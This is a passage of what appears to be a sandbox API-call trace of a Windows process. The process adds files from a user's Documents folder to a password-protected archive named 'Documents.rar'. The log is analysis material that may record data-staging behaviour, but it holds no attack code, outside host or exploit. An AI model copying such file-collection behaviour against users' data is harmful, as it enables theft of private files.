nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205c923*, lpNumberOfBytesWritten=0x141a0d82c0*=0x6d, lpOverlapped=0x0) returned 1 [0083.765] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0083.765] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x6d) returned 0x1163204fd70 [0083.765] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888fe0 | out: hHeap=0x1162e7c0000) returned 1 [0083.765] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205c920 | out: hHeap=0x1162e7c0000) returned 1 [0083.765] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x20cab0 [0083.765] CloseHandle (hObject=0x350) returned 1 [0083.765] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.765] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.765] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.765] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.765] FindFirstFileW (in: lpFileName="My Shapes\\desktop.ini", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d700 [0083.765] FindClose (in: hFindFile=0x1163204d700 | out: hFindFile=0x1163204d700) returned 1 [0083.765] CreateFileW (lpFileName="My Shapes\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.766] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.766] GetTickCount () returned 0x2abd6 [0083.766] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.766] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.766] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.766] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.766] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="jYH_Ha3VQR8eB_bONWr9.pptx") returned 25 [0083.766] SetWindowTextW (hWnd=0x10300, lpString="desktop.ini") returned 1 [0083.766] GetTickCount () returned 0x2abd6 [0083.766] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.766] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7630) returned 1 [0083.767] CryptGenRandom (in: hProv=0x116320a7630, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.767] CryptReleaseContext (hProv=0x116320a7630, dwFlags=0x0) returned 1 [0083.767] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0x100)) [0083.767] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.767] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17509544708) returned 1 [0083.767] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0xd8, lpOverlapped=0x0) returned 1 [0083.768] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e118, nNumberOfBytesToRead=0xfff28, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e118*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.768] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0083.768] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.768] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e8891c0 [0083.768] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d8f0 [0083.768] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.768] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e8893a0 [0083.768] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d8f0 | out: hHeap=0x1162e7c0000) returned 1 [0083.768] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8891c0 | out: hHeap=0x1162e7c0000) returned 1 [0083.768] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.768] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.768] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0083.768] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079aa0 | out: hHeap=0x1162e7c0000) returned 1 [0083.768] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a10, Size=0x48) returned 0x1162e888810 [0083.768] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888810, Size=0x7a) returned 0x1163205cfe0 [0083.768] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0083.768] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205cfe0 | out: hHeap=0x1162e7c0000) returned 1 [0083.770] GetTickCount () returned 0x2abd6 [0083.770] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17509830108) returned 1 [0083.770] GetTickCount () returned 0x2abd6 [0083.770] GetTickCount () returned 0x2abd6 [0083.770] GetTickCount () returned 0x2abd6 [0083.770] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.770] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.770] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.770] GetTickCount () returned 0x2abd6 [0083.770] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17509856124) returned 1 [0083.770] GetTickCount () returned 0x2abd6 [0083.770] GetTickCount () returned 0x2abd6 [0083.770] GetTickCount () returned 0x2abd6 [0083.770] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.770] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.770] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.770] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.770] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.770] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x20cab0 [0083.770] SetFilePointer (in: hFile=0x32c, lDistanceToMove=103, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x20cb17 [0083.770] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0083.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0083.770] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0083.770] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0083.771] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0083.771] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0xa0, lpOverlapped=0x0) returned 1 [0083.771] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.771] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.771] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2149040, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x20cab0 [0083.771] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x20cab0 [0083.771] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0083.771] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.771] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888ea0 [0083.771] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0083.771] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.771] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e889120 [0083.771] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0083.771] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.771] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.771] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.771] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0083.771] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079aa0 | out: hHeap=0x1162e7c0000) returned 1 [0083.771] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a10, Size=0x48) returned 0x1162e888ea0 [0083.771] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1163205e270 [0083.771] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205e273*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205e273*, lpNumberOfBytesWritten=0x141a0d82c0*=0x67, lpOverlapped=0x0) returned 1 [0083.771] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889120 | out: hHeap=0x1162e7c0000) returned 1 [0083.771] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205e270 | out: hHeap=0x1162e7c0000) returned 1 [0083.771] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x20cbb7 [0083.771] CloseHandle (hObject=0x350) returned 1 [0083.772] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.772] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.772] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.772] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.772] FindFirstFileW (in: lpFileName="My Shapes\\Favorites.vssx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d640 [0083.772] FindClose (in: hFindFile=0x1163204d640 | out: hFindFile=0x1163204d640) returned 1 [0083.772] CreateFileW (lpFileName="My Shapes\\Favorites.vssx" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\favorites.vssx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.772] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.772] GetTickCount () returned 0x2abd6 [0083.772] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.772] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.772] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.772] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.772] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="desktop.ini") returned 11 [0083.772] SetWindowTextW (hWnd=0x10300, lpString="Favorites.vssx") returned 1 [0083.773] GetTickCount () returned 0x2abd6 [0083.773] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.773] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7630) returned 1 [0083.773] CryptGenRandom (in: hProv=0x116320a7630, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.774] CryptReleaseContext (hProv=0x116320a7630, dwFlags=0x0) returned 1 [0083.774] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0x100)) [0083.774] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.774] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17510222792) returned 1 [0083.774] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.774] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.774] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0083.774] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a10, Size=0x48) returned 0x1162e888ea0 [0083.774] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0083.774] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0083.774] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a10, Size=0x48) returned 0x1162e888810 [0083.774] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0083.774] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.774] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0083.774] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.774] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0083.774] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079a10 | out: hHeap=0x1162e7c0000) returned 1 [0083.774] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e888fe0 [0083.774] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888fe0, Size=0x7a) returned 0x1163205c5c0 [0083.774] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888810 | out: hHeap=0x1162e7c0000) returned 1 [0083.774] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205c5c0 | out: hHeap=0x1162e7c0000) returned 1 [0083.774] GetTickCount () returned 0x2abd6 [0083.774] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17510276768) returned 1 [0083.774] GetTickCount () returned 0x2abd6 [0083.774] GetTickCount () returned 0x2abd6 [0083.774] GetTickCount () returned 0x2abd6 [0083.774] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.774] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.774] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.774] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.774] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.774] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x20cbb7 [0083.774] SetFilePointer (in: hFile=0x32c, lDistanceToMove=106, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x20cc21 [0083.774] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0083.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0083.775] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0083.775] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0083.775] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0083.775] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x10, lpOverlapped=0x0) returned 1 [0083.775] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.775] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.775] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2149303, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x20cbb7 [0083.775] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x20cbb7 [0083.775] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0083.775] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.775] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e888ea0 [0083.775] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86db30 [0083.775] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.775] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e888ef0 [0083.775] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86db30 | out: hHeap=0x1162e7c0000) returned 1 [0083.775] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.775] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.775] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.775] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0083.775] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079aa0 | out: hHeap=0x1162e7c0000) returned 1 [0083.775] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a10, Size=0x48) returned 0x1162e888f40 [0083.775] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888f40, Size=0x7a) returned 0x1163205d7c0 [0083.775] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205d7c3*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205d7c3*, lpNumberOfBytesWritten=0x141a0d82c0*=0x6a, lpOverlapped=0x0) returned 1 [0083.776] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0083.776] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205d7c0 | out: hHeap=0x1162e7c0000) returned 1 [0083.776] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x20cc31 [0083.776] CloseHandle (hObject=0x350) returned 1 [0083.776] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.776] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.776] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.776] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.776] FindFirstFileW (in: lpFileName="My Shapes\\_private\\folder.ico", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d760 [0083.776] FindClose (in: hFindFile=0x1163204d760 | out: hFindFile=0x1163204d760) returned 1 [0083.796] CreateFileW (lpFileName="My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.797] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.797] GetTickCount () returned 0x2abf5 [0083.797] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.797] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.797] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.797] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.797] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="Favorites.vssx") returned 14 [0083.797] SetWindowTextW (hWnd=0x10300, lpString="folder.ico") returned 1 [0083.798] GetTickCount () returned 0x2abf5 [0083.798] UpdateWindow (hWnd=0x102f8) returned 1 [0083.798] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 1 [0083.798] GetMessageW (in: lpMsg=0x141a0dd830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd830) returned 1 [0083.798] GetFocus () returned 0x1031c [0083.798] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd830) returned 1 [0083.798] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7630) returned 1 [0083.798] CryptGenRandom (in: 